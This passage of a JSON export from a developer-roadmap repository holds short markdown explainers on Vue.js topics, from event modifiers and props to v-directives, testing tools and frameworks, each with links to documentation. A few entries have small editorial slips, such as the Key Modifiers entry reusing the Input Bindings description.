    "content": "# Event Modifiers\n\nIn Vue.js, event modifiers are special postfixes that you can add to event handlers to control the behavior of events more easily. They help simplify common tasks such as stopping propagation, preventing default actions, and ensuring that the event is triggered only under certain conditions.\n\nVisit the following resources to learn more:\n\n- [@official@Event Modifiers](https://vuejs.org/guide/essentials/event-handling#event-modifiers)\n- [@article@Event Modifiers in Vue.js](https://www.freecodecamp.org/news/how-event-handling-works-in-vue-3-guide-for-devs/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/events@X0J3ogH3W8EQe68tLfcGL.md",
    "content": "# Events\n\nAs we develop our applications we may need to communicate with the parent component in order to notify of some actions e.g. when a user clicks on a button. In order to do this we need to use events.\n\nVisit the following resources to learn more:\n\n- [@official@Listening to Events](https://vuejs.org/guide/essentials/component-basics.html#listening-to-events)\n- [@official@Events in Detail](https://vuejs.org/guide/components/events.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/fetch@ufnt87swK61kxShLuVc1-.md",
    "content": "# Fetch\n\nThe `fetch()` method in JavaScript is used to request to the server and load the information on the webpages. The request can be of any APIs that return the data of the format JSON or XML. This method returns a promise.\n\nVisit the following resources to learn more:\n\n- [@article@Fetch - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch)\n- [@article@Network Request - Fetch](https://javascript.info/fetch)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/formkit@BXz1utB_2eYzFvzSbFKx0.md",
    "content": "# Formkit\n\nFormKit helps build forms faster by simplifying form structure, generation, validation, theming, submission, error handling, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Formkit Documentation](https://formkit.com/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/forms-handling@PQu4TyJOfCEaafW5th0e4.md",
    "content": "# Forms Handling\n\nYou can use the `v-model` directive to create two-way data bindings on form input elements. It automatically picks the correct way to update the element based on the input type.\n\nVisit the following resources to learn more:\n\n- [@official@Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)\n- [@video@Vue JS 3 Tutorial - Form Handling](https://www.youtube.com/watch?v=T-AE-GtSlN4)\n- [@article@A complete guide to forms in Vue.js](https://blog.logrocket.com/an-imperative-guide-to-forms-in-vue-js-2/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/forms@izGdctxP_OvQNvaMwVIrh.md",
    "content": "# Forms\n\nApart from the built-in form-binding support, there are several options available that allow for handling forms and data in much convenient manner.\n\nVisit the following resources to learn more:\n\n- [@official@Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)\n- [@article@User Inputs in Vue 3](https://vueschool.io/lessons/user-inputs-vue-devtools-in-vue-3?friend=vuejs)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/global-properties@gihxGgt177BK_EYsAfpx9.md",
    "content": "# Global Properties\n\nGlobal properties allows you to add properties or methods that can be accessed throughout your application. This is particularly useful for sharing functionality or data across components without the need to pass props explicitly.\n\nVisit the following resources to learn more:\n\n- [@official@Application API - globalProperties](https://vuejs.org/api/application.html#app-config-globalproperties)\n- [@article@Vue.js Global Properties](https://blog.logrocket.com/vue-js-globalproperties/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/inline--method-handlers@gVahaZNPktQuqdukFEbQH.md",
    "content": "# Inline / Method Handlers\n\nIn Vue.js, **inline handlers** are defined directly in the template using expressions, making them suitable for simple tasks. For example, you might use an inline handler to increment a counter. **Method handlers**, on the other hand, are defined in the `methods` option and are better for more complex logic or when reusing functionality across multiple components. They improve code readability and maintainability.\n\nVisit the following resources to learn more:\n\n- [@official@Inline Handlers](https://vuejs.org/guide/essentials/event-handling#inline-handlers)\n- [@official@Method Handlers](https://vuejs.org/guide/essentials/event-handling#method-handlers)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/input-bindings@NfB3HlZ3uwYK5xszvV50b.md",
    "content": "# Input Bindings\n\nInput bindings are a way to bind user input to a component's data. This allows the component to react to user input and update its state accordingly. Input bindings are typically used with form elements such as text inputs, checkboxes, and select dropdowns.\n\nVisit the following resources to learn more:\n\n- [@official@Input Bindings](https://vuejs.org/guide/essentials/forms)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/key-modifiers@BXw36wqhmi3gExXwFCIBd.md",
    "content": "# Key Modifiers\n\nInput bindings are a way to bind user input to a component's data. This allows the component to react to user input and update its state accordingly. Input bindings are typically used with form elements such as text inputs, checkboxes, and select dropdowns.\n\nVisit the following resources to learn more:\n\n- [@official@Key Modifiers](https://vuejs.org/guide/essentials/event-handling#key-modifiers)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/lifecycle-hooks@WiGG9_4G5y-AVA9byw6_g.md",
    "content": "# Lifecycle Hooks\n\nEach Vue component instance goes through a series of initialization steps when it's created - for example, it needs to set up data observation, compile the template, mount the instance to the DOM, and update the DOM when data changes. Along the way, it also runs functions called lifecycle hooks, giving users the opportunity to add their own code at specific stages.\n\nVisit the following resources to learn more:\n\n- [@official@Life Cycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html)\n- [@article@The Lifecycles of Vue.js](https://dev.to/amolikvivian/the-lifecycles-of-vue-js-lhh)\n- [@feed@Explore top posts about React Hooks](https://app.daily.dev/tags/react-hooks?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/mobile-apps@3RwIO-S8-xOYKNmfwk0pf.md",
    "content": "# Mobile Apps\n\nBuilding a mobile application with Vue.js is not impossible. In fact, you can build production-ready apps that look and feel like native mobile apps with Vue.js.\n\nVisit the following resources to learn more:\n\n- [@article@Comparing Vue.js mobile app development frameworks](https://blog.logrocket.com/comparing-vue-js-mobile-app-development-frameworks/#whyusevuejstobuildmobileapps)\n- [@article@Native Script + Vue](https://nativescript-vue.org/)\n- [@feed@Explore top posts about Mobile Development](https://app.daily.dev/tags/mobile?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/modifiers@dSfrFLr8wKkLAOMJwtCTr.md",
    "content": "# Modifiers\n\nModifiers are special suffixes that can be added to directives (such as v-model and v-bind) to alter their behavior. Modifiers allow you to specify additional functionality or constraints to the binding, making it more flexible and powerful.\n\nVisit the following resources to learn more:\n\n- [@official@Modifiers](https://vuejs.org/guide/essentials/forms.html#modifiers)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/mouse-button-modifiers@x0wl2Qz2LTP4Q2tThKAt3.md",
    "content": "# Mouse Button Modifiers\n\nMouse button modifiers are a type of modifier that can be used with event handlers to specify which mouse button or buttons should trigger the event. These modifiers allow you to customize the behavior of event handlers, such as v-on:click, to respond to specific mouse button clicks.\n\nVisit the following resources to learn more:\n\n- [@official@Mouse Button Modifiers](https://vuejs.org/guide/essentials/event-handling#mouse-button-modifiers)\n- [@article@Button Modifiers](https://medium.com/evolve-you/vue-3-keyboard-and-mouse-a4866d7d0e8)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/nuxtjs@8xZxTLYq5m5_nkGh2lfUt.md",
    "content": "# Nuxt.js\n\nNuxt.js is a free and open source JavaScript library based on Vue.js, Node.js, Webpack and Babel.js. Nuxt is inspired by Next.js, which is a framework of similar purpose, based on React.js.\n\nVisit the following resources to learn more:\n\n- [@official@Nuxt Website](https://nuxt.com/)\n- [@official@Nuxt Docs](https://nuxt.com/docs/getting-started/introduction)\n- [@official@Nuxt Examples](https://nuxt.com/docs/examples/essentials/hello-world)\n- [@article@Get Started with Nuxt](https://explorers.netlify.com/learn/get-started-with-nuxt)\n- [@article@Nuxt.js Fundamentals](https://vueschool.io/courses/nuxtjs-fundamentals)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/optimizing-renders@RRPhAxIqvAcjZIcLe_N8-.md",
    "content": "# Optimizing Renders\n\nOptimizing rendering is crucial for ensuring a smooth and efficient user experience across all your frontend projects. Sluggish webpages can lead to frustration for users, and potentially cause them to entirely abandon your web application. This issue comes up most often in single-page applications (SPAs), where the entirety of your application is loaded within a single webpage, and updates to it are handled dynamically without needing a full reload of the webpage.\n\nLearn more from the following resources:\n\n- [@article@Optimizing Rendering in Vue](https://blog.logrocket.com/optimizing-rendering-vue/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/options-api@PPUU3Rb73aCpT4zcyvlJE.md",
    "content": "# Options API\n\nVue offers many approaches for how to write components, including the Options API. It is the only API that is available in all versions of Vue. Its primary focus is on providing a consistent, clean, and organized aproach to writing component logic. Each part of a component's logic is given a dedicated section (data, methods, computed, props, life-cycle hooks, etc). By putting the logic in the correct section it has access to the features of the framework automatically. With the official Vue ESLint plugin the order of these sections can be enforced across all components allowing developers to predicatably locate any part of the component, even if they've never looked at the file before.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript with Options API](https://vuejs.org/guide/typescript/options-api.html)\n- [@official@Options API Documentation](https://vuejs.org/api/#options-api)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/performance@f7N4pAp_jBlT8_8owAcbG.md",
    "content": "# Vue.js Performance Optimization Overview\n\nKey areas to improve Vue.js performance include lazy loading components to minimize initial load times, optimizing rendering to prevent unnecessary re-renders, implementing efficient state management using modern libraries like Pinia, reducing the bundle size by code splitting and tree shaking, utilizing virtual scrolling for large lists and tables, continuously monitoring performance to detect potential bottlenecks, and minimizing dependencies to decrease overall load.\n\nLearn more from the following resources:\n\n- [@article@How to Optimize Performance in Vue.js Applications: Beginner to Advanced Guide](https://dev.to/delia_code/how-to-optimize-performance-in-vuejs-applications-beginner-to-advanced-guide-53db)\n- [@article@Vue Directives Basics](https://vuejs.org/guide/best-practices/performance.html)\n- [@article@Pinia Documentation](https://pinia.vuejs.org/)\n- [@article@Webpack Documentation](https://webpack.js.org/)\n- [@article@Vue Virtual Scroller](https://github.com/Akryum/vue-virtual-scroller)\n- [@article@Vue Devtools Documentation](https://devtools.vuejs.org/)\n- [@article@Vue Best Practices](https://vuejs.org/guide/best-practices/overview.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/pinia@NIvjyhtTFC1gomtGQT_2t.md",
    "content": "# Pinia\n\nPinia is a store library for Vue.js, and can be used in Vue 2 and Vue 3, with the same API, except in SSR and its installation. It allows state sharing between pages and components around the application. As the documentation says, it is extensible, intuitive (by organization), has devtools support (in Vue.js devtools), inferred typed state even in javascript and more. In Pinia you can access, mutate, replace, use getters that works like computed, use actions, etc. The library is recommended by the official Vue.js documentation.\n\nVisit the following resources to learn more:\n\n- [@official@Pinia Documentation](https://pinia.vuejs.org/)\n- [@video@Learn Pinia in 30Minutes](https://www.youtube.com/watch?v=JGC7aAC-3y8)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/playwright@zqcE3bTnymdepV-Yc8qBl.md",
    "content": "# Playwright\n\nPlaywright Test was created specifically to accommodate the needs of end-to-end testing. Playwright supports all modern rendering engines including Chromium, WebKit, and Firefox. Test on Windows, Linux, and macOS, locally or on CI, headless or headed with native mobile emulation of Google Chrome for Android and Mobile Safari.Playwright leverages the DevTools protocol to write powerful, stable automated tests.Playwright can actually see into and control the browser rather than relying on a middle translation layer, it allows for the simulation of more insightful and relevant user scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@Playwright Website](https://playwright.dev/)\n- [@article@Playwright Tutorial: Learn Basics and Setup](https://www.browserstack.com/guide/playwright-tutorial)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/plugins@_Nc8ivQrdpKuf8MwaV-K7.md",
    "content": "# Plugins\n\nPlugins are self-contained code that usually add app-level functionality to Vue.\n\nVisit the following resources to learn more:\n\n- [@official@Plugins in Vue.js](https://vuejs.org/guide/reusability/plugins.html)\n- [@article@How to Write Your Own Vue.js Plugin](https://www.linode.com/docs/guides/how-to-write-vue-js-plugins/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/props@raEfI4GLMW2fOucka07VE.md",
    "content": "# Props\n\nIf we are building a blog, we will likely need a component representing a blog post. We want all the blog posts to share the same visual layout, but with different content. Such a component won't be useful unless you can pass data to it, such as the title and content of the specific post we want to display. That's where props come in.\n\nProps are custom attributes you can register on a component.\n\nVisit the following resources to learn more:\n\n- [@official@Props Basics](https://vuejs.org/guide/essentials/component-basics.html#passing-props)\n- [@official@Props in Depth](https://vuejs.org/guide/components/props.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/provide--inject@xwVbhOpQMPPB4G-lhro0B.md",
    "content": "# Provide / Inject\n\nUsually, when we need to pass data from the parent to a child component, we use props. However, imagine the case where we have a large component tree, and a deeply nested component needs something from a distant ancestor component. With only props, we would have to pass the same prop across the entire parent chain. We can solve props drilling with `provide` and `inject`.\n\nVisit the following resources to learn more:\n\n- [@official@Provide / Inject in Vue.js](https://vuejs.org/guide/components/provide-inject.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/quasar@f2udJnT2q5eDmBZ_OKtmi.md",
    "content": "# Quasar\n\nQuasar Framework is an open-source Vue.js based framework for building apps, with a single codebase, and deploy it on the Web as a SPA, PWA, SSR, to a Mobile App, using Cordova for iOS & Android, and to a Desktop App, using Electron for Mac, Windows, and Linux.\n\nVisit the following resources to learn more:\n\n- [@official@Quasar](https://quasar.dev/)\n- [@video@Quasar Framework: Vue.js Cross Platform App](https://www.youtube.com/watch?v=opmng7llVJ0&list=PLAiDzIdBfy8iu_MZrq3IPuSFcRgCQ0iL0)\n- [@video@How to Build an App using Quasar Framework](https://www.youtube.com/watch?v=czJIuHyPPXo)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/rendering-lists@ftqDoGpwqqWQnu4NQSsMk.md",
    "content": "# Rendering Lists\n\nWe can use the `v-for` directive to render a list of items based on an array. The `v-for` directive requires a special syntax in the form of `item in items`, where `items` is the source data array and `item` is an alias for the array element being iterated on.\n\nVisit the following resources to learn more:\n\n- [@official@Rendering Lists in Vue.js](https://vuejs.org/guide/essentials/list.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/routing@ixRG0xfEp4BmyvCR0mtoR.md",
    "content": "# Routing\n\nRouting is an essential concept in Single Page Applications (SPA). When your application is divided into separated logical sections, and all of them are under their own URL, your users can easily share links among each other.\n\nVisit the following resources to learn more:\n\n- [@official@Routing in Vue.js](https://vuejs.org/guide/scaling-up/routing.html)\n- [@official@The Vue Router](https://router.vuejs.org/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/single-file-components@VNBRlJkdH6NOOzGXUrbZK.md",
    "content": "# Single File Components\n\nVue Single-File Components (a.k.a. `*.vue` files, abbreviated as SFC) is a special file format that allows us to encapsulate the template, logic, and styling of a Vue component in a single file.\n\nVisit the following resources to learn more:\n\n- [@official@Single File Components](https://vuejs.org/guide/scaling-up/sfc.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/slots@jkX66izOHVWqtyd6KZ0K6.md",
    "content": "# Slots\n\nIn some cases, we may want to pass a template fragment to a child component, and let the child component render the fragment within its own template. The `<slot>` element is a slot outlet that indicates where the parent-provided slot content should be rendered.\n\nVisit the following resources to learn more:\n\n- [@official@Slots in Vue.js](https://vuejs.org/guide/components/slots.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/ssg@822tGnM9jOkYh9aNlosPr.md",
    "content": "# Static Site Generators\n\nA static site generator is a tool that generates a full static HTML website based on raw data and a set of templates. Essentially, a static site generator automates the task of coding individual HTML pages and gets those pages ready to serve to users ahead of time. Because these HTML pages are pre-built, they can load very quickly in users' browsers.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Static Site Generator?](https://www.cloudflare.com/learning/performance/static-site-generator/)\n- [@article@Next.js SSG](https://nextjs.org/docs/advanced-features/static-html-export)\n- [@article@Gatsby SSG](https://www.gatsbyjs.com/docs/glossary/static-site-generator/)\n- [@article@SSG — An 11ty, Vite And JAM Sandwich](https://www.smashingmagazine.com/2021/10/building-ssg-11ty-vite-jam-sandwich/)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/ssr@Cm6mqXYp-G4mGfPxuU73_.md",
    "content": "# Server-side rendering\n\nServer-side rendering refers to the process that the service side completes the HTML structure splicing of the page, sends it to the browser, and then binds the status and events for it to become a fully interactive page.\n\nVisit the following resources to learn more:\n\n- [@article@What is Server Side Rendering (SSR)?](https://www.educative.io/answers/what-is-server-side-rendering)\n- [@article@When should I Server-Side Render?](https://medium.com/@mbleigh/when-should-i-server-side-render-c2a383ff2d0f)\n- [@article@Server-Side Rendering (SSR)](https://vuejs.org/guide/scaling-up/ssr.html)\n- [@video@What is Server Side Rendering (SSR) for Web Development?](https://www.youtube.com/watch?v=okvg3MRAPs0)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/state-management@9AwVtwIv6TfP9F4ulz2F0.md",
    "content": "# State Management\n\nApplication state management is the process of maintaining knowledge of an application's inputs across multiple related data flows that form a complete business transaction -- or a session -- to understand the condition of the app at any given moment. In computer science, an input is information put into the program by the user and state refers to the condition of an application according to its stored inputs -- saved as variables or constants. State can also be described as the collection of preserved information that forms a complete session.\n\nVisit the following resources to learn more:\n\n- [@official@State Management](https://vuejs.org/guide/scaling-up/state-management.html)\n- [@article@What is State Management?](https://www.techtarget.com/searchapparchitecture/definition/state-management)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/tailwind-css@TkzlmJ85O-e-KfMhTBwry.md",
    "content": "# Tailwind CSS\n\nCSS Framework that provides atomic CSS classes to help you style components e.g. `flex`, `pt-4`, `text-center` and `rotate-90` that can be composed to build any design, directly in your markup.\n\nVisit the following resources to learn more:\n\n- [@official@Tailwind Website](https://tailwindcss.com)\n- [@video@Tailwind CSS Full Course for Beginners](https://www.youtube.com/watch?v=lCxcTsOHrjo)\n- [@video@Tailwind CSS Crash Course](https://www.youtube.com/watch?v=UBOj6rqRUME)\n- [@video@Should You Use Tailwind CSS?](https://www.youtube.com/watch?v=hdGsFpZ0J2E)\n- [@video@Official Screencasts](https://www.youtube.com/c/TailwindLabs/videos)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/tanstack-query@WSq_cDKQPZa_qmQlIdGXg.md",
    "content": "# TanStack Query\n\nTanStack Query is a data fetching and caching library for Vue.js and React. It is a part of the TanStack ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Tanstack Query Website](https://tanstack.com/query)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/teleport-components@SGsd08ZTu4H76s8cfbCKe.md",
    "content": "# Teleport Components\n\nSometimes we may run into the following scenario: a part of a component's template belongs to it logically, but from a visual standpoint, it should be displayed somewhere else in the DOM, outside of the Vue application. This is where the `<Teleport>` component comes in.\n\nVisit the following resources to learn more:\n\n- [@official@Teleport Components](https://vuejs.org/guide/built-ins/teleport.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/templates@VlcYnTHW5d4J_zLYupvu5.md",
    "content": "# Templates\n\nVue uses an HTML-based template syntax that allows you to declaratively bind the rendered DOM to the underlying component instance's data. All Vue templates are syntactically valid HTML that can be parsed by spec-compliant browsers and HTML parsers.\n\nVisit the following resources to learn more:\n\n- [@official@Template Syntax](https://vuejs.org/guide/essentials/template-syntax.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/topic-node@B36yB4jsgSbTrf8g-R5Z1.md",
    "content": "# topic node"
  },
  {
    "path": "src/data/roadmaps/vue/content/transition-group@HjzOYjS-7ZEBvElRJ8uN2.md",
    "content": "# Transition Group\n\n`<TransitionGroup>` is a built-in component designed for animating the insertion, removal, and order change of elements or components that are rendered in a list.\n\nVisit the following resources to learn more:\n\n- [@official@TransitionGroup Component](https://vuejs.org/guide/built-ins/transition-group.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/transition@SWpWg5J5N9ZfY_DaIigA5.md",
    "content": "# Transition\n\nVue offers two built-in components that can help work with transitions and animations in response to changing state:\n\n- `<Transition>` for applying animations when an element or component is entering and leaving the DOM. This is covered on this page.\n- `<TransitionGroup>` for applying animations when an element or component is inserted into, removed from, or moved within a `v-for` list. This is covered in the next chapter.\n\nVisit the following resources to learn more:\n\n- [@official@Transition Component](https://vuejs.org/guide/built-ins/transition.html#transition)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-bind@cuM9q9vYy8JpZPGeBffd1.md",
    "content": "# v-bind\n\nThe `v-bind` directive dynamically binds an HTML attribute to data. The shorthand for this directive is `:`\n\n## Example\n\n```html\n<script setup>\n  import { ref } from 'vue';\n  const image_url = ref(\"path/to/image.png\")\n</script>\n\n<template>\n  <img :src=\"image_url\" />\n</template>\n```\n\nVisit the following resources for more information:\n\n- [@official@v-bind Documentation](https://vuejs.org/api/built-in-directives.html#v-bind)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-cloak@RrSekP8Ub01coegMwLP6a.md",
    "content": "# v-cloak\n\nThe v-cloak directive is used to prevent the uncompiled Vue template from being visible while the Vue instance is still loading. It temporarily hides the content until Vue has finished compiling the template. The v-cloak directive remains until the component instance is mounted.\n\n```html\n<div v-cloak>\n  {{ message }}\n</div>\n```\n\nCombined with CSS, you can hide elements with v-cloak until they are ready.\n\n```css\n[v-cloak] {\n  display: none;\n}\n```\n\nThe `<div>` will not be visible until the compilation is done.\n\nVisit the following resources to learn more:\n\n- [@official@v-cloak Documentation](https://vuejs.org/api/built-in-directives.html#v-cloak)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-else-if@a9caVhderJaVo0v14w8WB.md",
    "content": "# v-else-if\n\nThis directive is used to add additional conditions to a v-if and v-else block.\n\nVisit the following resources to learn more:\n\n- [@official@v-else-if Documentation](https://vuejs.org/api/built-in-directives.html#v-else-if)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-else@0CtAZQcFJexMiJfZ-mofv.md",
    "content": "# v-else\n\nThe `v-else` conditionally renders an element or a template fragment as a function in case the `v-if` does not fulfil the condition.\n\n\nVisit the following resources for more information:\n\n- [@official@v-else Documentation](https://vuejs.org/api/built-in-directives.html#v-else)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-for@3ftwRjQ9e1-qDT9BV53zr.md",
    "content": "# v-for\n\nThe `v-for` directive is used to render an HTML element, a block of elements, or even a component based on an array, an object, or a set number of times.\nWhen using this directive it is important to assign a unique key to each item to avoid issues and improve performance. This directive follows the `item in items` syntax.\n\n## Example\n\n```html\n<script setup>\n  import { ref } from 'vue';\n  const foods = ref([\n    {id: 1, name: \"apple\"},\n    {id: 2, name: \"pear\"},\n    {id: 3, name: \"pizza\"}\n  ]);\n</script>\n\n<template>\n  <p v-for=\"food in foods\" :key=\"food.id\">{{ food.name }}</p>\n</template>\n```\n\nVisit the following resources to learn more:\n\n- [@official@v-for Documentation](https://vuejs.org/guide/essentials/list#v-for)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-html@bZxtIBeIfeUcR32LZWrPW.md",
    "content": "# v-html\n\nThe `v-html` directive is similar to the `v-text` directive, but the difference is that `v-html` renders its content as HTML. This means that if you pass an HTML element it will be rendered as an element and not plain text. Since the content is render as HTML, it can pose a security risk if the content contains malicious JavaScript code. For this reason you should never use this directive in combination with user input, unless the input is first properly sanitized.\n\n## Example\n\n```html\n<template>\n  <p v-html=\"'<h1>Text</h1>'\"></p>\n</template>\n```\n\nVisit the following resources to learn more:\n\n- [@official@v-html Documentation](https://vuejs.org/api/built-in-directives.html#v-html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-if@xHj3W9Ig3MVuVlGyXchaP.md",
    "content": "# v-if\n\nConditionally render an element or a template fragment based on the truthy-ness of the expression value. When a `v-if` element is toggled, the element and its contained directives / components are destroyed and re-constructed. If the initial condition is falsy, then the inner content won't be rendered at all.\n\n## Example\n\n```html\n<h1 v-if=\"awesome\">Vue is awesome!</h1>\n```\n\nVisit the following resources to learn more:\n\n- [@official@v-if Documentation](https://vuejs.org/api/built-in-directives.html#v-if)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-model@cxu2Wbt306SxM4JKQQqnL.md",
    "content": "# v-model\n\nThe v-model directive in Vue.js is used for creating two-way data bindings on form input elements, such as `<input>`, `<textarea>`, and `<select>`. This means that the data can be updated in the component when the user inputs something, and the UI will update if the data in the component changes.\n\n- [@official@Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-model@gMFndBcrTC6FtGryqN6dX.md",
    "content": "# v-model\n\nThe v-model directive in Vue.js is used for creating two-way data bindings on form input elements, such as `<input>`, `<textarea>`, and `<select>`. This means that the data can be updated in the component when the user inputs something, and the UI will update if the data in the component changes.\n\n- [@official@Form Input Bindings](https://vuejs.org/guide/essentials/forms.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-model@swpyZFUO4UO3mW8Bvf1Te.md",
    "content": "# v-model\n\nv-model is a directive that allows you to create two-way data bindings on form input, textarea, and select elements. It automatically picks the correct way to update the element based on the input type.\n\nVisit the following resources to learn more:\n\n- [@official@Vue.js Guide](https://vuejs.org/guide/components/v-model.html#component-v-model)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-on@hVuRmhXVP65IPtuHTORjJ.md",
    "content": "# v-on\n\nThe v-on directive is placed on an element to attach an event listener. To attach an event listener with v-on we need to provide the event type, and any modifier, and a method or expression that should run when that event occurs.\n\nVisit the following resources to learn more:\n\n- [@official@v-on Documentation](https://vuejs.org/api/built-in-directives.html#v-on)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-once@5k9CrbzhNy9iiS6ez2UE6.md",
    "content": "# v-once\n\nThe `v-once` directive makes an HTML element render only once, skipping every future update.\n\n## Example\n\n```html\n<script setup>\n  import { ref } from 'vue';\n  const input = ref(\"Some Text\");\n</script>\n\n<template>\n  <input v-model=\"input\">\n  <p v-once>{{ input }}</p>\n</template>\n```\n\nIn this example the **p** element will not change its text even if the input variable is changed through the **input** element.\n\nVisit the following resources to learn more:\n\n- [@official@v-once Documentation](https://vuejs.org/api/built-in-directives.html#v-once)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-pre@mlsrhioiEkqnRIL6O3hNa.md",
    "content": "# v-pre\n\nThe `v-pre` directive makes an element render its content as-is, skipping its compilation. The most common use case is when displaying raw mustache syntax.\n\n## Example\n\n```html\n<script setup>\n  import { ref } from 'vue';\n  const text = ref(\"Some Text\")\n</script>\n\n<template>\n  <p v-pre >{{ text }}</p>\n</template>\n```\n\nThe **p** element will display: `{{ text }}` and not `Some Text` because the compilation is skipped.\n\nVisit the following resources to learn more:\n\n- [@official@v-pre Documentation](https://vuejs.org/api/built-in-directives.html#v-pre)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-show@_TlbGTKFCMO0wdLbC6xHX.md",
    "content": "# v-show\n\n`v-show` is similar to `v-if` in that it allows you to conditionally render components. However, it does not remove the component from the DOM and merely toggles its `display` CSS property to be `hidden`. It also does not work with `v-else-if` oe `v-else`. Prefer `v-show` over `v-if` if the component's visibility needs to change often, and `v-if` if not.\n\nVisit the following resources to learn more:\n\n- [@official@Vue Conditional Rendering](https://vuejs.org/guide/essentials/conditional.html#v-show)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-slot@m9pQ3daR3KiwRATcQysHA.md",
    "content": "# v-slot\n\nThe v-slot directive to define slots in components, allowing you to pass and render content dynamically inside a component.\n\nFor named slots, you use v-slot with a specific slot name. This lets you pass different content to different parts of a component:\n\n```html\n<template>\n  <custom-component>\n    <template v-slot:header>\n      <h1>Header Content</h1>\n    </template>\n    <template v-slot:footer>\n      <p>Footer Content</p>\n    </template>\n  </custom-component>\n</template>\n```\n\nThe shorthand for `v-slot` is `#`, for example `v-slot:header` becomes `#header`.\n\nVisit the following resources to learn more:\n\n- [@official@v-slot documentation](https://vuejs.org/api/built-in-directives.html#v-slot)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/v-text@NCIzs3jbQTv1xXhAaGfZN.md",
    "content": "# v-text\n\nThe `v-text` directive is used to set the textContent property of an element. It's important to note that when using this directive it will overwrite the HTML content inside the element.\nThe expected input is a string, so it's important to wrap any text in single quotes.\n\n## Example\n\n```html\n<template>\n  <p v-text=\"'I am some text'\"></p>\n</template>\n```\n\nVisit the following resources to learn more:\n\n- [@official@v-text Documentation](https://vuejs.org/api/built-in-directives.html#v-text)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vee-validate@_Fmp8_z4SKWfKUE80_fqb.md",
    "content": "# Vee validate\n\nOpenSource plugin to handle form validations in Vue.js\n\nVisit the following resources to learn more:\n\n- [@opensource@logarem/vee-validate](https://github.com/logaretm/vee-validate)\n- [@official@Vee Website: Vee Validate](https://vee-validate.logaretm.com/v4/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vitepress@_46COO0FGaFuCYwqaRRWy.md",
    "content": "# Vitepress\n\nVitepress is a static site generator that is built on top of Vite. It is a lightweight and fast static site generator that is designed to work with Vue 3. Vitepress is a great choice for building documentation sites, blogs, and other static sites.\n\nVisit the following resources to learn more:\n\n- [@official@Vitepress Website](https://vitepress.dev/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vitest@LjEAviRMtPLwUUlfcof1h.md",
    "content": "# Vitest\n\nVitest is a fast Vite-native unit test framework with out-of-box ESM and TypeScript support. It Works on React, Vue, Svelte and more projects created with Vite.\n\nVisit the following resources to learn more:\n\n- [@official@Vitest Website](https://vitest.dev/)\n- [@video@Testing with Vitest](https://www.youtube.com/watch?v=cM_AeQHzlGg)\n"
  },
  {
